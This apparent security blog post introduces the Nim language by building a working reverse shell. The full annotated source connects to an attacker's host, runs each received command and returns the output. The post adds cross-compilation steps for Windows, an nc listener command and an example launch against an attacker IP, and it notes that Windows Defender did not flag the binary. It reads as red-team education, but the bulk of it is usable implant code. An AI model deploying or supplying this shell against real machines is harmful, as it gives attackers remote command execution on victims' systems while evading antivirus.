Writing Basic Offensive Tooling in Nim
Introduction
I recently discovered Nim, a fairly recent programming language that has some exciting applications for writing offensive tooling. In this post, we’ll cover some of the features of Nim that make it such an appealing choice for offensive development, and then we’ll take a look at a very basic reverse shell I wrote in Nim to get a feel for the language. The goal of this post is to showcase how easy it is to get started with Nim, particularly if you’re already familiar with Python, and to hopefully pique your interest enough to encourage you to try the language out for yourself.
Some advantages of Nim
In my opinion, one of the greatest advantages Nim offers is that it’s a compiled, statically typed language with syntax that feels like a scripting language. Much of the syntax exactly matches or is very similar to Python’s; this could be an upshot or a drawback for you depending on how you feel about Python’s syntax, but as someone who writes code in Python more frequently than any other language, I felt immediately at home with Nim’s syntax. We’ll see some of the syntax later on in this post when we break down a simple Nim reverse shell.
Additionally, since Nim is an ahead-of-time compiled language, it’s probably a more sensible choice for developing C2 implants or other post-exploitation tools than Python would be. While it is possible to compile Python code to an executable using tools like PyInstaller or Py2Exe, those tools seem to have problems with setting off antivirus and using them introduces one more step into the development process.
Here’s a quick overview of a few other features that I think make Nim promising (though this list certainly isn’t comprehensive):
- Cross-compilation support with mingw-64. Languages like Go have highlighted to me how helpful seamless cross-compilation is for offensive tool development. While I haven’t spent enough time with Nim yet to know how its cross-compilation support compares with Go’s, I had no issues quickly compiling the reverse shell covered in this post for both Windows and Linux.
- The binaries Nim emits are fairly small, whereas the binaries emitted by Go tend to be quite large.
- Nim offers support for calling backend code like the Windows API using its Foreign Function Interface. This seems like a particularly promising feature for anyone interested in developing post-exploitation tools for Windows in Nim.
- I found it to be well documented as I worked through its basic tutorials and then wrote the reverse shell covered in this post.
Breaking down a simple reverse shell
After following an introductory Nim tutorial (linked later in this post) in order to learn the basics of the language, I decided I wanted to try writing a very basic tool in Nim that could potentially be used in a real engagement. Just about the simplest offensive tool I could think of was a basic reverse shell, so I decided to go with that. Rather than cover every step of the development process, I think it makes sense to take a look at the final code with some added annotation numbers to call out the interesting parts.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 |
#[1] import net import osproc # this comes with execProcess, which returns the output of the command as a string import os import strutils # these are the default connection parameters for the reverse shell, but can be overwritten with command-line args var ip = "127.0.0.1" var port = 4444 #[2] var args = commandLineParams() # returns a sequence (similar to a Python list) of the CLI arguments # if arguments have been provided, assume they are an IP and port and overwrite the default IP/port values if args.len() == 2: ip = args[0] port = parseInt(args[1]) # begin by creating a new socket var socket = newSocket() echo "Attempting to connect to ", ip, " on port ", port, "..." #[3] while true: # attempt to connect to the attacker's host try: socket.connect(ip, Port(port)) # if the connection succeeds, begin the logic for receiving and executing commands from the attacker while true: try: #[4] socket.send("> ") var command = socket.recvLine() # read in a line from the attacker, which should be a shell command to execute var result = execProcess(command) # execProcess() returns the output of a shell command as a string socket.send(result) # send the results of the command to the attacker # if the attacker forgets they're in a reverse shell and tries to ctrl+c, which they inevitably will, close the socket and quit the program except: echo "Connection lost, quitting..." socket.close() system.quit(0) #[5] # if the connection fails, wait 10 seconds and try again except: echo "Failed to connect, retrying in 10 seconds..." sleep(10000) # note that sleep() takes its argument in milliseconds, at least by default continue |
In a moment, we’ll step through the commentated annotation numbers (wrapped in square brackets), but it’s worth briefly discussing some general impressions. First, this code could easily be mistaken for Python from a distance. The syntax is so familiar that I found the whole development process nearly frictionless. While I worked through writing this, I found that even most of the libraries were highly similar to their Python counterparts, at least for the functionality I needed. While I don’t want to misrepresent Nim as just “Python but statically typed and compiled”, I do want to emphasize that the commonalities it has with Python were a major plus for me.
Let’s step through the annotated portions of the code (with relevant snippets reproduced):
[1]:
1 2 3 4 |
import net import osproc # this comes with execProcess, which returns the output of the command as a string import os import strutils |
1 |
var args = commandLineParams() # returns a sequence (similar to a Python list) of the CLI arguments |
1 2 3 4 5 6 7 8 |
while true: # attempt to connect to the attacker's host try: socket.connect(ip, Port(port)) # if the connection succeeds, begin the logic for receiving and executing commands from the attacker while true: try: |
1 2 3 4 |
socket.send("> ") var command = socket.recvLine() # read in a line from the attacker, which should be a shell command to execute var result = execProcess(command) # execProcess() returns the output of a shell command as a string socket.send(result) # send the results of the command to the attacker |
In this case, the reverse shell uses socket.recvLine() to receive a shell command from the attacker. This command is then passed to execProcess(), which is similar to the os.system() or os.popen() functions in Python. The execProcess() procedure is useful in this case because it returns the output of the shell command, which can be saved to a variable and then sent back to the attacker, creating a simple interactive shell.
[5]:
1 2 3 4 5 |
# if the connection fails, wait 10 seconds and try again except: echo "Failed to connect, retrying in 10 seconds..." sleep(10000) # note that sleep() takes its argument in milliseconds, at least by default continue |
I developed this tool on Linux, but cross-compiling from Linux to Windows is a snap. I was able to cross-compile the shell in two simple lines. This first is to install the mingw-64 package:
sudo apt install mingw-w64
And the following command cross-compiles the shell for 64-bit Windows:
nim c -d:mingw --cpu:amd64 reverse_shell.nim
That command emits our binary with the name reverse_shell.exe. If you’d prefer to compile for Linux (from a Linux host), you can run:
nim c reverse_shell.nim
Finally, let’s quickly see the shell in action. From the attacking machine (the host to which the shell should be issued), we can set up a listener on the desired port. In my case, I’m using a Linux box and want to receive the shell on port 443, so I’ll run the following command:
sudo nc -v -l 443 -n
From a Windows host with Windows Defender enabled, we can navigate to the directory containing the reverse_shell.exe binary and execute it, providing the optional IP address and port arguments to issue the shell to the attacking machine:
reverse_shell.exe 192.168.56.110 443
Executing that command shows the output we’d expect on the Windows side.
At the time of this writing, Windows Defender didn’t flag this binary. On the attacking machine, we can see that the shell has been successfully received and try executing a test command.
Conclusion:
While this was a very simple introductory project, I’ve enjoyed my time with Nim enough that I’m hoping to write some more tools with it. If this small taste of the language interested you, here are some resources you may want to check out:
- The Nim Basics tutorial was my starting point. As the name suggests, it covers the basics of the language and provides enough exercises to arm you with the knowledge to start writing simple programs. If you find that that tutorial is a little too simple for your taste, there’s also this slightly more advanced tutorial series: https://nim-lang.org/docs/tut1.html
- If you just want to give the language a try for a few minutes without any setup, there’s this browser-based Nim Playground: https://play.nim-lang.org/
- If you’d like to see some more advanced examples of using Nim for offensive tooling, byt3bl33d3r has an extensive collection of example tools in the following GitHub repo: https://github.com/byt3bl33d3r/OffensiveNim
- If you don’t already have a preferred IDE, I used Visual Studio Code with the Nim extension (there appear to be two extensions by that name; the one I used is the first result in the VS Code extension list at the time of this writing and has by far the most installs)
With its combination of familiar syntax and standard library features, easy cross-compilation, and growing interest from the offensive security community, Nim is a promising language for developing offensive tooling.